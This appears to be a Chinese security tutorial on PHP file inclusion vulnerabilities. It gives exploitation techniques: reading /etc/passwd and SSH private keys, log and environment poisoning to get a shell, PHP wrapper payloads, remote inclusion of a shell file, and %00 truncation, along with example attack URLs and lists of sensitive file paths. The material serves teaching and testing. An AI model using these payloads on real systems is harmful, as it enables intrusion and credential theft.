请勿截屏传播

文件包含漏洞

程序在引用文件的时,引用的文件名,用户可控的情况,传入的文件名没有经过合理的校验或校验不严,从而操作了预想之外的文件,就有可能导致文件泄漏和恶意的代码注入。程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这重文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在 PHP Web Application 中居多,而在 JSP、ASP、ASP.NET 程序中却非常少,甚至没有,这是有些语言设计的弊端。在 PHP 中经常出现包含漏洞,但这并不意味这其他语言不存在。

1.文件包含漏洞描述

程序在引用文件的时,引用的文件名,用户可控的情况,传入的文件名没有经过合理的校验或校验不严,从而操作了预想之外的文件,就有可能导致文件泄漏和恶意的代码注入。程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这重文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在 PHP Web Application 中居多,而在 JSP、ASP、ASP.NET 程序中却非常少,甚至没有,这是有些语言设计的弊端。在 PHP 中经常出现包含漏洞,但这并不意味这其他语言不存在。

2.常见文件包含函数

include():执行到 include 时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行 require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本 include_once()和 require_once():若文件中代码已被包含则不会再次包含

3.文件包含漏洞代码分析

$_GET'filename' 接收客户端传的参数,其中没有任何过滤 带入到 include 函数中,include 包含这个文件,引入到当前文件中,因此会造成文件包含漏洞。

4.文件包含漏洞的利用方法

文件包含漏洞,需要引入上传的文件到网站目录,或是服务器内部的文件,而且是权限是可读,才能引入进来,或远程包含进来,但是需要条件。

5.文件包含/etc/passwd

../是上一级路径。如果存在漏洞,文件又存在的时候,不是 php 文件会被读取显示在页面中。/etc/passwd文件是 linux 里的敏感信息,文件里存有 linux 用户的配置信息。

6.文件包含图片

寻找网站上传点,把 php 恶意代码文件改成 jpg 上传到网站上,本地包含引入恶意代码,当文件被引入后代码就被执行。

上传图片格式到网站 再用文件包含漏洞引入图片 成功执行代码

7.包含日志文件getshell

中间件例如 iis 、apache、nginx 这些 web 中间件,都会记录访问日志,如果访问日志中或错误日志中,存在有 php 代码,也可以引入到文件包含中。如果日志有 php 恶意代码,也可导致 getshell。使用 burpsuite 访问 GET 填写

在linux 下日志文件权限默认是 root,而php 的权限是 www-data 一般情况下都是读取不了,如果是 windows环境下是可以权限是允许的。linux 默认的 apache 日志文件路径是 访问日志 /var/log/apache2/access.log 错误日志 /var/log/apache2/error.log 把文件日志包含进来即可

8.包含环境变量getshell

修改 User-Agen 填写 php 代码 /proc/self/environ 这个文件里保存了系统的一些变量 如果权限足够,包含这个文件就能 getshell

9.伪协议

file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流(I/O streams) zlib:// — 压缩流 data:// — 数据(RFC 2397) glob:// — 查找匹配的文件路径模式 phar:// — PHP 归档 ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — 音频流 expect:// — 处理交互式的流 ==php.ini 参数设置== 在 php.ini 里有两个重要的参数 allow_url_fopen、allow_url_include。 allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件; allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件; 各协议的利用条件和方法

10. php://input

php://input 可以访问请求的原始数据的只读流,将 post 请求的数据当作 php 代码执行。当传入的参数作为文件名打开时,可以将参数设为 php://input,同时 post 想设置的文件内容,php 执行时会将 post 内容当作文件内容。 注:当 enctype="multipart/form-data",php://input 是无效的。 php.ini 条件是 allow_url_fopen =ON allow_url_include=ON 设置请求为 post 请求 在正文输入 php 代码提交即可允许

11.file://访问本地文件

在本地包含漏洞里可以使用file协议,使用file协议可以读取本地文件 file:///etc/passwd 读取相对路径文件

12.php://

php:// 用于访问各个输入/输出流(I/O streams),经常使用的是 php://filter 和 php://input

php://filter 用于读取源码 php://input 用于执行 php 代码。

协议作用
php://input可以访问请求的原始数据的只读流,在 POST 请求中

访问 POST 的 data 部分,在

enctype="multipart/form-data" 的时候

php://input 是无效的。
php://output写的数据流,允许以 print 和 echo 一样的方式写

入到输出缓冲区。
php://fd(>=5.3.6)允许直接访问指定的文件描述符。例如

php://fd/3 引用了文件描述符 3。
php://memory php://temp(>=5.1.0)一个类似文件包装器的数据流,允许读写

临时数据。两者的唯一区别是 php://memory 总是

把数据储存在内存中,而 php://temp 会在内存量

达到预定义的限制后(默认是 2MB)存入临时文件

中。临时文件位置的决定和 sys_get_temp_dir()

的方式一致。
php://filter(>=5.0.0)一种元封装器,设计用于数据流打开时的

筛选过滤应用。对于一体式(all-in-one)的文件

函数非常有用,类似 readfile()、file() 和

file_get_contents(),在数据流内容读取之前没有

机会应用其他过滤器。

php://filter参数详解

参数描述
resource=<要过滤的数据流>必须项。它指定了你要筛选过滤器的数据流。
read=<读链的过滤器>该参数可选。可以设定一个或多个过滤器名称,以

管道符(|)分隔
write=<写链的筛选列表>该参数可选。可以设定一个或多个过滤器名称,以

管道符(|)分隔
<; 两个链的过滤器>任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。

可用的过滤器列表(4类)

字符串过滤器作用
string.rot13等同于 str_rot13(),rot13 变换
string.toupper等同于 strtoupper(),转大写字母
string.tolower等同于 strtolower(),转小写字母
string.strip_tags等同于 strip_tags(),去除 html、PHP 语言标签
转换过滤器作用
convert.base64-encode & convert.base64-decode等同于 base64_encode()和base64_decode(),base64 编码解码
bzip2.compress & bzip2.decompressbzip2.decompress同上,在本地文件系统中创建bz2 兼容文件的方法。
加密过滤器作用
mcrypt.*libmcrypt 对称加密算法
mdecrypt.*libmcrypt 对称解密算法
使用伪协议读取文件源码
php://filter/read=convert.base64-encode/resource=/etc/passwd
读取文件后再进行 base64 解码

13.其他的伪协议

phar://、zip://、bzip2://、zlib://

用于读取压缩文件,zip:// 、 bzip2:// 、 zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。

1、zip://压缩文件绝对路径%23压缩文件内的子文件名(#编码为%23)

http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt 2、compress.bzip2://file.bz2 http ://127.0.0.1/include.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

http ://127.0.0.1/include.php?file=compress.bzip2://./file.jpg 3、compress.zlib://file.gz http ://127.0.0.1/include.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

http ://127.0.0.1/include.php?file=compress.zlib://./file.jpg 4、phar:// http ://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

data:// 协议

1、data://text/plain, http ://127.0.0.1/include.php?file=data:// text/plain,

2、data://text/plain;base64, http ://127.0.0.1/include.php?file=data:// text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

14.文件包含常用路径

1.包含日志文件 getshell

/usr/local/apache2/logs/access_log /logs/access_log /etc/httpd/logs/access_log /var/log/httpd/access_log

2.读取网站配置文件

dedecms 数据库配置文件 data/common.inc.php, discuz 全局配置文件 config/config_global.php, phpcms 配置文件 caches/configs/database.php phpwind 配置文件 conf/database.php wordpress 配置文件 wp-config.php

3.包含系统配置文件

1.windows

C:/boot.ini//查看系统版本 C:/Windows/System32/inetsrv/MetaBase.xml//IIS 配置文件 C:/Windows/repairsam//存储系统初次安装的密码 C:/Program Files/mysql/my.ini//Mysql 配置 C:/Program Files/mysql/data/mysql/user.MYD//Mysql root C:/Windows/php.ini//php 配置信息 C:/Windows/my.ini//Mysql 配置信息

2.linux

/root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_ras.keystore /root/.ssh/known_hosts /etc/passwd /etc/shadow /etc/my.cnf /etc/httpd/conf/httpd.conf /root/.bash_history /root/.mysql_history /proc/self/fd/fd0-9* (文件标识符) /proc/mounts /porc/config.gz

15.包含远程文件

当远程文件开启时,可以包含远程文件到本地执行。当 allow_url_fopen=On allow_url_include=ON 两个条件同时为 On 允许远程包含文件。 http ://192.168.0.103/lfi.php?file=http ://192.168.0.103/shell.txt 192.168.0.103 设置为远程的 ip

16.文件包含截断攻击

文件包含截断攻击,在php版本小于5.3.4允许使用%00截断,在使用include等文件包含函数,可以截断文件名,截断会受gpc影响,如果gpc为0n时,%00会被转以成\0截断会失败。 传入 file 文件名拼接.php 在用 include 引入文件。file 参数可控的会造成漏洞。

17.文件包含%00截断

上传带有恶意代码的文件到网站目录,包含引入再进行 00 截断。 当前测试的版本是 php 5.2.17 gpc=off

18.远程包含截断

适用于远程截断的字符有

符号url编码
#%23
%3f
00%00
以上这个字符都可以截断
allow_url_fopen=On
allow_url_include=On
http ://192.168.0.103/lfi2.php?file=http ://192.168.0.103/shell.txt?
CTFHub-SSRF WP
命令执行漏洞

评论区

评论加载中...